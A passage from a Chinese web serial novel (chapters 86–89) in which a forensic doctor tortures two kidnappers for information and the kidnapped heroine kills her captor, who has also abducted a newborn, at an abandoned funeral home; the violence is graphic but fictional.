他拦下一辆出租车,直奔小楼外的岔路口。小楼附近人烟稀少,只有那一条小路可以离开。只要他能看到岔路口的监控,就能顺藤摸瓜,一路寻找到白绯的踪迹!而正好,岔路口那儿就有家饭店,他们极有可能在那里装了监控!
出租车再次开始狂奔,然而祝临川却仍觉得不够快。就在他们快到达那家饭店的时候,竟然还在路边偶遇了一桩车祸。
祝临川原本是无心管这闲事的,然而无心的一瞥却让他直接从头凉到了脚。
那竟是白绯的车!
86. 绑架
祝临川都不知道自己是怎么走到车祸现场的。
司机被他一声凄厉的“停车”吓得一个急刹,好悬没让后车直接追尾。
后车司机骂骂咧咧地从驾驶室下来,撸起袖子就准备开干。然而在看到如游魂般从副驾扑出来的祝临川,愣是被吓得没敢再往前半步。
祝临川眼里此刻已容不下其他,只剩下那变形的车头,有两个人正从前排打开变形的车门,咳嗽着往外逃命。
“哎哟,这怎么还撞树上了~”
“这能不撞树上嘛,我刚才跟了他们一路,这俩哥们也是奇才。副驾那个握着方向盘,驾驶室那个踩着油门,两个人跟麻花似的扭在一起开车,这是和阿三学的杂技表演吗?”
“可不,我眼看他们一路蛇形过来,现在才撞车已经算他们本事大了!”
路人围着现场指指点点,然而却救了祝临川几近崩溃的理智。他差点以为,老天又要用同样的方式夺走白绯。
他拨开围观的人群时,正好看到变形的车门被从里推开。
先是驾驶座里钻出来了一个灰扑扑的脑袋,头发被血糊成一绺绺的,但仍然依稀可以看出原来的七彩底色,活像个被踩烂的鸡毛掸子。
是方肖,除了他脑袋上的伤,他的两条胳膊也像是没了骨头,正随着爬动软绵绵地晃动。
“吱呀”一声,紧跟着从副驾那边又爬出来一个。他和方肖正相反,下半身明显不对劲,两条腿以诡异的角度软塌塌地拖在后面,果然是陆子尧。
然而祝临川却没顾得上搭理他们,直接冲到车前探身跪在驾驶座上,扶住座椅往后排看。
空的。
后排没有人,只有贱洒的血点和碎玻璃。
祝临川抓着车门的手指抠紧,又立刻直奔后备箱。他的指甲在滚烫变形的金属盖上抠划,找到卡扣后用力一掀!
也没有。
后备箱也空荡荡的,白绯没在车里,没有死在这里。
祝临川松了一口气。然而短暂的庆幸过后,他就被呼啸而来的暴怒彻底吞噬。
显然,陆子尧和方肖绝对和白绯的失踪脱不开关系,这辆车就是最好的证明。
他几步跨过满地的碎玻璃和油污,一把掐住地上那个如软体动物般扭动身躯试图远离车祸现场的渣滓,箍着他的脖子一字一顿道:“她在哪。”
陆子尧被掐得几乎喘不过气,隔着糊了满脸的血迹看清了眼前这张阎王般的脸。
不好,这运气也太寸了,怎么还偏偏就遇上了祝临川。
方肖蜷缩在另一边瑟瑟发抖,努力减少自己的存在感,希望祝临川打了陆子尧就别再打他了。
陆子尧被掐得脸都涨红了,额上冷汗涔涔。然而他竟没有服软,嘴角咧开露出染血的牙齿,怪笑道:“呵呵...你猜啊!”
他像一条毒蛇,在祝临川的痛苦中品尝到了绝顶的快乐:“你那个骚货,现在恐怕正爽着啊!!!”
他没能说完,而是撕心裂肺地惨叫起来。因为祝临川毫不留情地卸了他一边胳膊。
“一句废话,一根骨头。”祝临川的视线扫过陆子尧仅剩的一边好手,语气平静,然而其下却蕴含着汹涌的暴虐。
然而陆子尧却像是疯了般,他疼得整张脸都扭曲了,却还是吐着血沫子狂吼:“你他妈休想知道...哈哈...我要让你后悔得罪我...来啊!卸啊!”
他的眼睛意有所指地在不明所以的围观群众身上扫视一圈,有恃无恐般对着祝临川挑衅:“有本事,你就当着这么多人杀了我啊!”
自从上次他和方肖在学校里故意开车冲撞白绯,被她直接报警送进了派出所后,他就一直对他们心怀恨意。
一开始只是单纯看不起祝临川的清高,但随着冲突的加剧,祝临川和白绯竟成了哽在喉咙中的刺,让他无论如何都想看看他们狼狈的模样。
他原本便在琢磨着报复,却不想遇到了另外两个鬼鬼祟祟跟在白绯与祝临川身后的男人,陈成和罗峻辉。
他们和白绯二人有什么矛盾,陆子尧并不关心,他只知道,敌人的敌人就是朋友,四人一拍即合,当即制定了一个简单的计划。
由陈成打电话假装想要咨询宠物墓地的客户,以迷路为理由将白绯骗出来,然后绑架。事情进展得很顺利,尽管白绯在见到陆子尧后瞬间就反应过来事情不对劲,然而她一个女人再强悍,到底也双拳难敌四手,很快就被制服了。
四人将白绯绑到了一个废弃的殡仪馆,按照陆子尧和方肖的想法是轮了白绯,再把整个过程拍下来寄给祝临川,保准能有大乐子。
然而没想到,就在二人乐呵呵准备相机的时候,陈成却从后头偷袭,直接打断了陆子尧的双腿和方肖的胳膊,还把罗峻辉也给打晕了。
原来,陈成竟是想做那只黄雀。他和白绯自是有恩怨要了,若不是她,他又怎么会从人人尊敬的大网红沦落到被平台封杀的地步?
但他也不准备为罗峻辉或者陆方二人做嫁衣,左右也是绑了,不如全绑了,让人把兜里的钱都拿出来,方便他之后跑路。
后来,陆方二人趁陈成去拷问罗峻辉的功夫,用藏在裤子口袋里的瑞士军刀砍断了绳索逃了出来。他们二人一个用完好的腿踩刹车油门,一个用完好的手握方向盘,两个人勉强凑了个完整的人,一路开车逃到了这里。
路上,方肖曾问过陆子尧要不要报警,却被陆子尧果断拒绝:“你傻啊!这事我们也有参与,要是报了警,我们能落下好?”
反正白绯也和陈成有矛盾,最后肯定没好果子吃,虽然借刀杀人没有自己亲自动手爽,但好歹也算完成了目标。因此,陆子尧压根就没打算报警或者救人,只是想去医院治好自己的伤。
然而这种开法到底还是太勉强,最后二人直接撞到了树上,还那么巧地,被祝临川逮了个正着。
陆子尧身上痛得要死,却仍然嘴硬不肯吐露白绯的踪迹。他打赌,祝临川在众目睽睽之下,难道还能真的要了他的命不成?
然而他显然是低估了白绯对祝临川的重要程度。
只听“咔嚓”一声脆响,祝临川毫不犹豫地折断了陆子尧一根肋骨。
陆子尧的辱骂声戛然而止,眼珠暴突,惨叫声卡在喉咙里变成嗬嗬的怪响。
他眼看着祝临川凑近他,声音低哑如恶魔低语:“地址,或
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者赌一赌,下一根肋骨会不会戳进你的肺里。”
陆子尧虽然不学无术,但好歹也有点医学知识。
人体共有12对24根肋骨,当中段肋骨发生骨折时,尖锐的骨刺极易向内刺破肺组织和血管。此时,除了剧烈的疼痛外,还将出现呼吸困难以及大量失血。若是当真如此,陆子尧怕是等不及救护车来了。
眼看着祝临川将手指滑向了下一根肋骨,死亡的阴影和超越忍耐极限的痛苦终于碾碎了他最后一丝坚持。说到底,他和祝临川之间也没什么深仇大恨,面子和命哪个重要,陆子尧还是分得清的。
“城北殡仪馆...”陆子尧不甘不愿地吐出了一个地名,看向祝临川的目光充满了恐惧:“你这个疯子...”
然而祝临川只冷笑一声,手下用力,毫不留情地又折断了陆子尧两根肋骨。
陆子尧惨叫起来,心里委屈极了。这人怎么不讲武德,他明明都说了!
祝临川把陆子尧狠狠掼在地上,俯身蹲下,伸手过来就要继续。
陆子尧简直要出离愤怒了:“我都说了,你怎么不守信用?!”
祝临川手下不停:“我怎么知道你有没有说谎?白绯为什么会在那里?”
这下陆子尧也不敢再隐瞒了,跟倒豆子似的把事情原委吐露了了个彻底。
祝临川听到里面竟然还有陈成和罗峻辉的插手,心中的戾气越来越盛。他再次看了眼涕泪横流的陆子尧,确定在恐惧之下他说的应该都是实话,终于收回手,站起来掏出手机准备联系小刘警官。
巧的是小刘竟然也正好打电话过来。祝临川刚接通,对面就急切地说起话来:“临川,我查到了白绯的通话记录,最后一通电话是一个叫陈成的人打的,这个人是个危险人物,涉及多桩命案。你还记得在H乡河中钓起碎尸的事吗?我们查到这件事陈成有重大作案嫌疑。白绯怎么会跟他扯上关系?”
祝临川三言两语将事情解释了一下,告诉小刘他已经查到了白绯被绑架的地址。
小刘也紧张起来,在电话那头道:“好,我知道了。我们现在就出警,至于陆子尧和方肖二人,我们也会派队人过去实施抓捕。”
“好。”
祝临川沉沉地应了声。他低头看了眼被吓得疯狂蠕动企图远离他的陆子尧和方肖二人,有些可惜那几根肋骨竟然都没能要了他的命。
不过此时他也顾不上教训他们了,钻进车里简单地检查了下白绯的车,确定还能开,就果断踩下油门朝城北殡仪馆赶去。
而另一边,小楼却一片慌乱。王阿婆着急得很,站在院门口频频向外张望,却始终没能等到白绯和祝临川的身影,而白绯的电话也一直是关机的状态。
就在这时,对面的叙白竟打开门走了过来。
一段时间不见,他又消瘦了不少。
“阿婆,怎么了?出事了?”
王阿婆对他丝毫不设防,想着多个人多个帮忙的,便三言两语将事情告诉了他。
叙白目光闪动,安慰了王阿婆几句,承诺会想办法帮忙,就又走回了屋子。他的目光在陆寻之前安在他家门口的监控上一扫而过,脸上若有所思。
87. 独居室还是大通铺
这监控还是之前陆寻安装在这里,用来偷摸监控叙白的。后来被叙白当着白绯的面点出就被弃用了。
陆寻没有费工夫来拆,叙白索性就将它做了些小改装,收为己用,倒是没想到还真有能派上用场的时候。
他回到书房,打开电脑进入监控后台,根据王阿婆的说辞找到白绯离开的时间,快速回放了这段时间的监控。
没有任何可疑的地方。
叙白曲起食指敲了敲下巴,抬手握住鼠标,把时间往回拉了一星期,然后开始快速回放。这一放,才让他发现了些猫腻。
白绯她们这栋楼,位于A市最西边,平时属实是人迹罕至。就算有人来,也很少有人会在短时间内多次造访。然而叙白却在小院门口发现了三个鬼鬼祟祟的身影。
他们并不现身,而是总躲在叙白院墙边的一棵树下。而好巧不巧,这个树上正好就安着这个监控。
叙白看着监控下方画面中不断移动的三个脑袋,其中一个活像个七彩的鸡毛掸子,挑眉恢复了正常播放速度,并且打开了声音。
监控清晰地将三人的交谈声录了进来。
“一日夫妻百日恩,你真舍得对这么如花似玉的前妻动手?”
“少说废话,想好怎么骗她出来没有?”
“放心吧,陈成说会假装要看墓地的客人,把人骗出来,到时候我们就下手。”
“哼,等人落我手里...不过,我们把人藏哪里?要不然就躲你家吧,陆子尧,反正你有那么多处房产...”
“是啊是啊,陆哥…”
“是你个头,方肖你个傻缺,你们这是想我死啊,生怕条子到时找不到我头上吗?”
“那去哪里啊?难道直接杀了?”
“哼,杀了多可惜。放心吧,陈成说发现个好地方,就去城北殡仪馆。那地儿荒废很多年,一般人根本不敢靠近。哼,倒是和这个贱人挺般配,自己搞死人生意,最后也死在殡仪馆,哈哈哈...”
后面是一番不堪入目的污言秽语,是那三人在讨论到时要如何折磨白绯。
叙白没有再继续看下去,关掉电脑,拿起车钥匙出门。
王阿婆已经不在小楼门口了,大概是被小施和陈安夏劝了回去。叙白从后视镜里最后看了眼小楼,踩下油门决绝离开。
城北殡仪馆坐落在A市最北面的一座高山上。通往这里的只有一条水泥路,如今久无人至,疏于养护,早已被野草顶得支离破碎。
殡仪馆的大门也不见了,院区内到处都是枯死的柏树和废弃的石材。里头的主建筑是一栋四四方方的二层长方形大楼,和躺倒的墓碑似的。外层墙皮大面积剥落,黑洞洞的窗户像腐烂殆尽的眼眶,沉沉地注视着山外的暮色。空气中弥漫着浓重的陈腐气味,比别处温度低了好几个度。
白绯被绑在废弃的遗体处理床上,昏昏沉沉的。她额头有伤,是先前在挣扎中被罗峻辉用扳手狠狠敲在了头上。
鲜血顺着她凌乱的长发淌到锈蚀的台面上,与上面残留多年的黄渍和可疑的斑点慢慢混合在一起。
耳边时不时传来罗峻辉的惨叫,白绯就在这一声声哀嚎中短暂清醒过来。
她费力地睁开眼,首先映入眼帘的就是上方锈迹斑斑的金属吊架和断裂的链条。她垂下眼,看了看被绳索牢牢绑在台面上的双手和双脚,目光在台面四周凸起的边沿上一扫,最后停留在了边上的小推车上。
小推车的轮子被卡死了,上面凌乱地摆放着生锈的剪刀、手术刀和干瘪发硬的橡胶导管,如果能拿到...
她艰难地喘息了一声,试图活动手腕。
然而陈成绑得十分牢固,绳索恨不得都直接嵌进皮肉里去,别说去够车上的刀了,她连手指都很难动一下。
隔壁火化室里,陈成正在拷问罗峻辉。白绯能听到罗峻辉隐约的哭号。
“我的钱都被顾怜心和她姘头骗走了,我手上真的没有钱了!啊…求求你,别打了,我说的都是实话…雪萍都告诉你了对不对,他们骗走了我整整两千万…但是你放心,那婊子现在就在市妇保待产!等我把她们抓回来,钱分你一半!…啊…别打了…啊!”
随着一声闷响,罗峻辉的哭号停了下来,黑暗中只余下可怕的寂静。
白绯偏过头,看到火化室的大门被打开,明亮的光源照入,紧随其后的是脸上沾着星星点点血迹的陈成和他手上拖着的麻袋似的物体。
白绯眨了眨眼,随着距离的靠近,这才看清那竟是浑身浴血的罗峻辉。他的头低垂着看不清表情,唯有缓慢起伏的胸口证明他尚且是个活人。
陈成拖着罗峻辉,朝房间的另一侧走去。那里摆放着一排巨大的、门扉厚实的金属柜子——是殡仪馆废弃的尸体冷藏柜。
陈成粗暴地随意打开一扇,拉出里面的活动板床,把罗峻辉放上去后推了回去,然后砰地一声关上柜门,彻底锁死了上面的插销。
“他会憋死的。”白绯忍了忍,到底还是没忍住,哑着嗓子道。
殡仪馆的冷藏柜有两种类型。一种是表面看着是一格一格独立的柜子,但躺进去后就会发现上下左右并没有隔离板,其实是个大通铺。曾经就有博主进行挑战,要在冷藏柜中躺十分钟,结果进去后才发现能清清楚楚看到上下左右的邻居们,吓得当场心理崩溃。
而另一种就是罗峻辉现在躺进去的这种独居室,大小和棺材没什么两样。虽然现在没有通电不会被冻死,但里面的氧气含量着实有限。
这种专业的尸体冷藏柜设计初衷就是为了极致保温,所以密封性能极好。这样才可以最大限度保持内部低温,还能防止尸体的异味溢出。
所以它的空间十分狭小,内部容积只有不到1立方米。而一个健康的成年人,即使在静止状态下,每小时也需要消耗大约0.5立方米的氧气。不过这并不意味着罗峻辉还有一个小时的自救时间,因为仅仅需要10分钟,他呼出的二氧化碳浓度就会超过10%,让他彻底陷入昏迷,丧失自救本能;而当时间达到30分钟以上,罗峻辉就会因为严重缺氧和二氧化碳中毒,直接脑死亡。
这也是不能关着门窗在汽车上睡觉的原因。白绯曾接待过好几例开着空调在车上睡觉,最后二氧化碳中毒死亡的客户。
而罗峻辉若是侥幸很快清醒,也并没有什么卵用。因为挣扎和恐慌只会加剧里面氧气消耗的速度,而他也没什么可能能撞开那么厚实的不锈钢门闩。
若是他还有幽闭恐惧症,那就更惨了。
果然,陈成并没有改变主意。
“憋死?”他嗤笑一声,提着露营灯转身向白绯走来,“那不正好,省事儿了。反正他手上也没钱,我直接去找顾怜心那娘们要不是更直接?”
他伸出沾满血渍的手重重拍打着白绯的脸颊,力道很重,带着羞辱的意味:“你别急,不会忘了你。”
白绯看着他勾出一个狰狞的笑,俯身凑近她的耳朵,吐息像蛇信般冰冷粘腻:“你可是我的贵宾客户,要不是拜你所赐,我能沦落到今天这个地步?不过我可是很大度的,还特意给你挑了这么个好地方,是不是像回到了快乐老家?哈哈哈,你别急,等
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我把罗家的钱拿到手,再回来慢慢跟你算账。放心吧,等我玩腻了,就把你关在你前夫隔壁,让你俩也能做个伴。没准过个十年八年,有什么探险博主过来,你们就能重见天日了呢?”
他得意地大笑起来,起身欣赏了一会儿白绯狼狈的模样,终于心满意足离去。
唯一的光源被陈成带走,黑暗再次吞噬了这个阴森的房间。远处传来汽车发动的声音,看来人离开了。
白绯尝试做了两次深呼吸,想要冷静,结果却只吸进两口带着霉味的空气,连带着头都更晕了。
额角被砸伤的伤口像针扎似的一跳一跳地疼,让她很想就这样直接睡过去。但是谁知道陈成什么时候就会回来,如果不趁现在自救,等那个变态回来,还不知道会怎么折磨自己。
临川一定急坏了吧...真是对不住他,每次她俩之间的约会最后总会出点幺蛾子。还有白父白母,王阿婆和安夏小施他们,不知道是不是也知道了自己失踪的消息。也怪自己倒霉,竟然招惹上了陈成这种脑子里有泡的玩意儿。
怒火直往她的天灵盖蹿,白绯一边在脑海里对陈成实施十八种酷刑,一边对着舌尖狠狠咬下。
剧烈的疼痛瞬间炸开,白绯躺在冰冷的解剖台上打了个寒战,涣散的神智终于被强行拽回了现实。
她转头看向边上那辆残破的小推车,想要抬手去够。然而手腕被绳索死死勒住,深深嵌进皮肉里,无论她如何咬牙发力,手腕都被纹丝不动地固定在冰冷的解剖台上。
脚踝处也是同样,陈成绑得丝毫没有放水。
终于,白绯力竭,往后摔了回去,后脑勺因此重重磕在台面上,“duang”地一声巨响,疼得她龇牙咧嘴。
她苦中作乐地想,还挺脆,是个好脑袋瓜。
歇了会儿,白绯又开始疯狂转动唯一能自由活动的部位——手指。沾满灰尘的十指在遍布污渍的不锈钢台面上急切地摸索,然而除了摸了一手粘腻的液体和灰尘外一无所获。
她有些失望。
如果能摸到什么工具,把小推车勾过来就好了。只要能拿到上面的剪刀或者手术刀,再不济拿到导管,也能用断裂的边缘慢慢磨...
“嘶...”突然,指尖传来一阵尖锐的刺痛,白绯心脏狂跳,再次伸出手指去探寻那个割伤她的源头——那是一个焊点,因为锈蚀而突兀地立在台面边缘,正如一个微缩的刀锋。
白绯心脏狂跳,调整身体的角度,将右手腕上的绳索尽可能地向那个尖锐的焊点靠近。
够到了!就是这个位置!
整个房间落针可闻,只有白绯粗重的呼吸声,以及摩擦绳索时身下操作台被带动的吱嘎响声。
由于视线受阻,她只能凭借直觉来回摩擦,因而手腕内侧早已被滑得鲜血淋漓。然而她也顾不上了,只是拼命重复着单调的动作。现在还只是手破点皮流点血,要是等陈成回来,那怕是浑身都落不下一块好肉了!
时间不知过了多久,而陈成随时都有可能回来。好在,就在她累得肩膀和手臂都快抽筋的时候,手上猛地一松,束缚的力道骤然消失。
白绯几乎不敢相信,猛地抬起鲜血淋漓的右手——自由了!
她顾不上处理身上的伤,立刻伸手去解左手的绳结。
然而就在她坐起身解腿上的结扣时,一阵清晰无比的汽车引擎声由远及近,再次撕破了这片混沌的寂静。
而随着引擎声的熄灭,一声嘹亮的啼哭紧跟着砸了进来。
来的究竟是谁?是陈成吗?怎么还有孩子的哭声?
88. 母亲
熟悉的咒骂伴随着脚步声迅速靠近,还有婴儿声嘶力竭的啼哭。
“妈的哭哭哭!再哭老子现在就掐死你!”陈成一只手嫌恶地倒提着一条小腿,手臂伸得老远,嫌恶地看着婴儿小小的身子在他掌下倒挂着挣扎。
他目露凶光,像是真的在考虑要不要立刻解决这个麻烦。
虽说这地方人迹罕至,但保不齐有什么博流量或者找刺激的人过来,要是孩子的哭声再把人引过来,那就麻烦了。
陈成目光闪烁了几下,从后腰掏出一把匕首,寒光闪闪的刀尖朝孩子的胸腹慢慢逼近。
刀尖刺破了孩子柔软的皮肤,一滴鲜血流了出来。
就在这时,一阵尖锐的手机铃声响了起来。
陈成的动作顿住,收回匕首,不耐烦地从兜里掏出了手机:“说!...哼,算你识相!别想着报警,不然老子现在就砍掉他一条腿!嗯...还活着呢,这不是正在哭嘛,你没听见?嗯…少罗嗦,快点送钱过来,老子没那么多耐心!”
陈成挂了电话,脸上的戾气稍缓,连带着对孩子也多了点耐心。他嗤笑一声,拿刀身拍了拍孩子涨红的小脸:“算你命大,让你多活一会儿。”
他提着孩子,本想走进解剖室,脚步却猛地在中途顿住。
太安静了。
另一边的告别室里,原本捆着陆子尧和方肖。从他翻脸黑吃黑,打断他们的手脚起,二人的痛苦怒骂求饶声就没有停过,是什么时候,这些声音就消失了呢?
陈成越是回忆脸色越黑,因为他发现,早在他拷问完罗峻辉的时候,就再没听到他们的动静!
一种不祥的预感窜上心头。陈成脸色一沉,脚步一拐,一脚踢开了告别室的大门。
露营灯的光柱扫过空荡荡的房间,布满鲜血和灰尘的地面上只有两截被利落割断的绳索。
妈的,这是早跑了。
陈成瞳孔一缩,猛地转身,几步冲出了殡仪馆后门。
果然,之前停放在杂草丛中的白绯的车也不见了。
“操他妈的!”陈成咬着牙怒骂,恨恨地一拳捶在斑驳外墙上,关节处溢出鲜血。
这两鳖孙,怕不是在他拷问罗峻辉的时候就溜了!
他脸色铁青地冲回解剖室,粗暴地把孩子猛地往白绯身上一甩:“起来!这地方不能呆了!”
小小的柔软身体重重砸在白绯胸口,力道之大让白绯都差点憋过气去。白绯佯装被砸醒,发出一声虚弱的呻吟,茫然地看着他。
“妈的,早知道就该先处理那俩废物,这下好了,这地方怕是不安全了。”陈成一边骂骂咧咧,一边暴躁地收拾散落在圆桌上的现金和衣物。
白绯不着痕迹地抬起胳膊,护住差点从她身上滚落下去的孩子,眼神疑惑又担忧。
孩子很小,看着像是出生才没两天,皱巴巴地和个没毛的小猴子似的,此刻被这么一番粗暴的对待,已经出气多进气少了。
这是谁的孩子?怎么好端端地被陈成绑来了?还有陈成这个人搞什么,他已经绑了这么多人,都够凑一桌麻将了,这是还嫌不够热闹吗?
陈成可不知道白绯正在心里无声地咒骂,他拉上背包拉链,一只手从后腰抽出匕首,眼神凶戾地朝白绯走来,嘴里威胁道:“你最好给我老实点,不然老子手里这把刀可不是吃素的,到时给你俩串个冰糖葫芦,可别怪我心狠手辣。”
眼看着陈成握着匕首靠近,白绯的心也跟着提到了嗓子眼。
她贴在腰侧的手死死握紧了手里的东西,掌心滑腻,分不清是血还是汗。
要趁现在吗?不,她的体力和陈成差太多了,机会不多,必须一击必杀...但是只要他过来解绳子就会发现她早割断了绳子,一样要露馅...
五步,四步,三步...就在陈成伸手抓住她手腕的那一刻,“嗡”地一声,又是一阵汽车引擎声!并且这一次,车子停得极近,几乎就在殡仪馆的大门外!
紧接着,一个熟悉的女声带着哭腔穿透夜色,传进了屋内:“钱我带来了!孩子呢!我的孩子在哪里?!”
竟然是顾怜心。
这下,白绯算是明白怎么回事了。罗峻辉方才对陈成交代钱都在顾怜心和陈昊手中,还透露了他们目前正在医院待产,显然,陈成这是直接把顾怜心才刚出生的孩子给绑了。
“没想到来得还挺快。”陈成的目光在白绯和门口方向快速扫视,最终还是对金钱的贪婪和灭口的杀意占了上风:“正好,拿了钱,送你们母子一起上路!”
他果断将匕首往后腰一插,对白绯威胁道:“老实待着别动!”
说完再次一把捞起奄奄一息的孩子,转身大步流星走了出去。
门口,顾怜心怀里紧紧抱着一个黑色塑料袋,面容憔悴而虚弱。
她看到被陈成倒提在手里的孩子,泪水夺眶而出,抱着钱就冲了过来:“求求你把孩子还给我!钱我都带来了!求求你!”
陈成面对妇孺丝毫没有心软。
开玩笑,又不是他的种。当然就算是他的种,其实也并不会得到什么优待。不过是在床上爽的时候不小心搞出来的人命罢了,一哆嗦的事,只要有钱,有的是女人上杆子跟他生,有什么大不了的。
他横着匕首对着孩子的肚腹比比划划地威胁:“别乱动!老子的刀可不长眼!把钱扔过来!”
顾怜心对怀里的包裹没有一丝留恋,果断朝陈成扔了过去。
说来也是命运弄人,她与陈昊汲汲营营多年,甚至不惜以色侍人,也不过是为了怀里的黄白之物罢了。然而如今,她却为了肚子里掉下来的这块肉,毫不犹豫地舍弃了多年奋斗的目标。
陈成一把接住塑料袋,贪婪地打开一看,脸上的笑意瞬间凝固,眉头皱了起来:“怎么就这么点?!你耍我呢?!”
顾怜心的目光一直牢牢锁定在孩子身上,唯恐陈成胡乱挥舞的匕首伤到他。
她双膝一软就直接跪在了地上,哀哀地冲陈成恳求道:“求求你,这是我手里能拿到的所有钱了!其他钱都在孩子父亲手上,可是...可是现在他的电话已经打不通了...但是我保证!我保证,只要你把孩子还给我,我后面一定给你把钱补上!哪怕十年,二十年,绝对一分钱都不会少你!只要你把孩子还给我,他还那么小,求求你,发发善心..."
然而陈成对这一幕却只感到不耐烦。
这对母子是不能留了,还是拿着袋子里的钱尽快转移吧。谁知道陆子尧会不会怀恨在心,对别人透露他的位置。
思索间,陈成已经目露凶光,握着匕首就对着孩子的细嫩的颈间捅了过去。
先把这个小的宰了,接着就是那个大的!
然而他自己是个禽兽,自然理解不了绝望中母亲能拥有的力量。
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顾怜心一直关注着他的一举一动,在陈成举起匕首的一刹那,就像一头发疯的雌兽般拼尽全力撞了过去。
她以才生产完的虚弱身体,竟硬生生顶得陈成连连后退。二人扭打在一起,门板桌椅都被纷纷撞烂。
就这么一路推搡厮打,最后竟直接撞进了解剖室!
然而二人的力量差距到底还是过于悬殊。
陈成在反应过来后恼羞成怒,抬脚就冲着顾怜心的腹部踹了过去。
顾怜心被直接踹飞,四仰八叉地躺在地上,嘴里直冒血沫。然而她却连擦也顾不上,手脚并用的就朝门外爬去。
她的孩子在方才的缠斗中被扔在了地上,此刻正仰面朝天,手脚乱抓,低声啼哭着寻找在世间唯一的依靠。
“孩子...我的孩子...”顾怜心连爬都爬不稳了,踉踉跄跄在地上栽了好几个跟头。因为用力之大,原本纤细娇嫩的十指在粗糙的地面磨出血痕,看着触目惊心。
然而奇迹到底还是没有发生。
在她终于抓到孩子的脚腕时,她被陈成从后一脚直接重重踩趴在了地上。
陈成偏头吐了一口血沫,用脚狠狠碾压着顾怜心的脑袋:“呸...你这个疯女人,我现在就送你们上路!”
说完,他就狠狠地抬起了手上的匕首,朝着顾怜心的后心刺去。
就在匕首碰到顾怜心后背皮肤的时候,温热的鲜血却先一步洒了她整个半身。
然而这还不够,一双颤抖的手稳准狠地从后扶住了陈成的下巴,在已经切断了他一侧颈动脉的情况下,又以雷霆之势补了两刀。
一刀切断了陈成另一侧的颈动脉,另一刀则直接割断了他的气管。
陈成猝不及防间挨了三刀破伤风之刃,所有的动作和咒骂戛然而止。
他身体猛地一僵,眼睛难以置信地凸出,然而漏风的喉咙里却发不出任何声音,只有嗬嗬的怪响。
顾怜心察觉到后背压制自己的力道散去,涕泪横流地爬起来,抱起孩子头也不回地就往外跑。
她丝毫不知道,此时身后的陈成正徒劳地用双手捂住脖子,然而鲜血却依旧如破裂的高压水管般喷薄而出,将他自己染成了一个血葫芦。
失血和窒息同时降临,仅一分钟,陈成就失去了所有气息,抽搐着踉跄扑倒,重重砸在了地上,再也没了之前嚣张的模样。
鲜血从白绯手中的手术刀上滴落,在她脚边汇聚成一小摊血泊。由于站得太近,陈成的鲜血也同样淋了她一身,呼吸间都是一股铁腥味。
她狠狠抬手抹了把糊在睫毛上的血珠,身体控制不住地发抖。
虽说尸体见得多了,但杀人到底还是第一次,希望也别有第二次了。
她抬头,远处,顾怜心抱着孩子跑得头也不回,都快看不清影儿了,是十分合格的逃命还有的模样。
白绯又低头看了眼陈成的尸体,泄愤般踢了他的后背一脚:“罗雪萍,我这也算替你报仇了。”
她转身开始往解剖室走。
虽然时间已经过去了太久,关着罗峻辉的冷藏柜里也没有任何动静,但白绯还是决定再把人拉出来抢救一下。
然而就在这时,一股带着浓重甜腻气息的手帕却突然从后捂住了她的脸。
黑暗降临前的最后一秒,白绯在心里哀嚎:“这他妈又是谁啊啊啊啊啊!!!!!”
89. 小黑屋
浓重的夜色里突然出现两道刺眼的灯光,一辆车头破损严重的奔驰如同脱缰的野马般从岔路冲出,伴随着引擎的咆哮,箭一般驶入上山的水泥路。
小刘驾驶着警车紧随其后,油门已经轰到了底,才勉强追上了前头的车屁股。
坐在副驾的同事双手牢牢把住车顶的扶手,后背紧贴在座椅靠背上,眼睛瞪得像铜铃:“那是祝法医?啧啧啧,现在的文官真不得了,开得也太玩命了吧?真不怕下一个转弯直接飞悬崖下头去吗?”
“谁被偷家了能不急?呕...这破路,屁股要裂了。”小刘双手紧紧握住方向盘,以防打滑,被凹凸不平的水泥路颠得止不住干呕了两声,目光却始终没敢从前方移开。
夜色浓重,又是山路,视野实在不佳。他打开远光灯,注意力高度紧绷,生怕连人带车一起栽下这盘山公路,“绑架犯是个危险人物,必要时让狙击手直接击毙,务必保证人质安全!”
“放心吧,兄弟们有数,还用你...等等,路边是不是有群众在求救?!”
小刘闻声转头瞥了一眼,果然看到一个鼻青脸肿的女人从山路边的灌木丛中冲了出来,怀里还牢牢抱着什么东西,正拼命对着他们招手。
副驾的同事边示意他继续往前开,边从腰间拿出一个对讲机:“有群众求助,后头的兄弟留一个车下来看看,其余人跟我们继续上山。”
祝临川自然也看到了那个狼狈的女人,并且认出了她的身份。然而此刻他根本顾不上别人的安危,一心只有眼前那栋在夜色下现出轮廓的建筑。
白绯就在里面吗?她有没有受苦?
祝临川握着方向盘的手攥紧,将油门再一次踩到了底。
“吱嘎——”
随着一声尖利的刹车声,车子一头冲进了前院,在荒草碎石间拖出一道长长的黑痕后终于停稳。
车子才刚停下,祝临川已经一脚踹开车门跳了下去。
他手里握着从后备箱拿来的消防斧,冰冷的金属斧柄硌着掌心,让他怦怦狂跳的心得以稍稍安定。
门口一片狼藉,大门敞开,到处都有明显的搏斗痕迹,星星点点的血迹泼洒在灰尘遍布的老旧地板上。
祝临川深吸一口冰冷的空气,单手握紧斧头,侧身跨入大门。
一片死寂。
空旷的大厅里只有他的脚步声和急促的呼吸声,告别厅的桌椅东倒西歪,地上散落着几截粗糙的绳索。
血腥味在这里变得浓郁起来,祝临川屏住呼吸,顺着地上斑驳的血点,一步步穿过大厅,走向了走廊尽头的解剖室。
门虚掩着,冲天的血腥气从门缝间涌出。
祝临川伸出颤抖的手,猛地推开铁门。
月光从破损的窗户中漏进,照亮了门口躺在血泊中的人形。
祝临川瞳孔紧缩,心脏狂跳。
不是白绯...
地上的人形明显是男人的体形,此刻面朝下一动不动趴着,身下的血都开始发黑了。
祝临川一边保持警戒,一边上前查看。借着月色,他勉强认出了死者的脸,竟然就是陈成。
他的两侧颈动脉都被利落割开,就连气管都暴露在外,手法干净利落,一看就是专业人士动的手。
人的身体内只有约5升的鲜血,当失血达到三分之一以上就能致命。而颈动脉这类血管的破裂更是能在短短几分钟内就造成大量、极速的失血,更何况连气管都被割断了,那真是回天乏术。
祝临川狠狠踢了陈成的尸体一脚,脸上满是绝处逢生的希望。
一定是白绯动的手!她逃出来了吗?
祝临川的心开始雀跃,焦急地开始呼喊她的名字:“绯绯!绯绯!我来了,你在哪里?”
然而黑漆漆的房间内依然没有任何回应。
小刘等人也紧随其后,打开门赶了进来。
他们各司其职,一部分人四处搜索,一部分人则把地上的陈成抬出去抢救。虽然凭他们的经验,应该是已经凉透了。
